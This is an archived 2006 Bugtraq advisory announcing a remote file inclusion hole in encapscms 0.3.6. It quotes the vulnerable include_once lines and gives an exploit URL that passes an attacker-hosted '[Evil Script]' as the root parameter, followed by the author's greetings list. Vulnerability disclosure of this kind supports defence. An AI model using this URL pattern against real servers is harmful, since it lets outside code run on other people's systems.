bugtraq - encapscms 0.3.6 - Remote File Include by Firewall

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20061110185447.7611.qmail@securityfocus.com>
Date: 10 Nov 2006 18:54:47 -0000
From: firewall1954@...mail.com
To: bugtraq@...urityfocus.com
Subject: encapscms 0.3.6  - Remote File Include by Firewall

########################### Firewall ###########################
                          encapscms 0.3.6  - Remote File Include by Firewall
                                      BuG FounD by Firewall

# Application Affect:
                    encapscms 0.3.6

# Sorce Code:             
         http://scripts.ringsworld.com/content-management/encapscms-0.3.6.zip

# Code:
         include_once($root."core/Config.php");
         include_once($root."core/DB_sql.php");
         include_once($root."core/BlogsCats.php");
         include_once($root."core/Block.php");
         include_once($root."core/Block_sub.php");
         include_once($root."core/Gallery.php");
         include_once($root."core/Pager.php");
         include_once($root."core/GalleryCategory.php");
         include_once($root."core/Misc.php");
        
# ExPloit :
   http://www.site.com/encapscms_PATH/core/core.php?root=[Evil Script]


#Contact:    Firewall1954@...mail.com 


# GrEatZ :
|Her0|slackwaren|Ozzmadark|slappter|ArCaX-ATH| |Cvir.System|napster|saok|Zlevyn|Azrael|CyberAlexis| |NitroNet|Matasanos|SysRoot|ANtrAX|FaLENcE|Mnox|Xneo.System|

 "El ceviche y El pisco es peruno y jamas podran igual su calidad" - "Viva el Peru"

########################### Firewall ###########################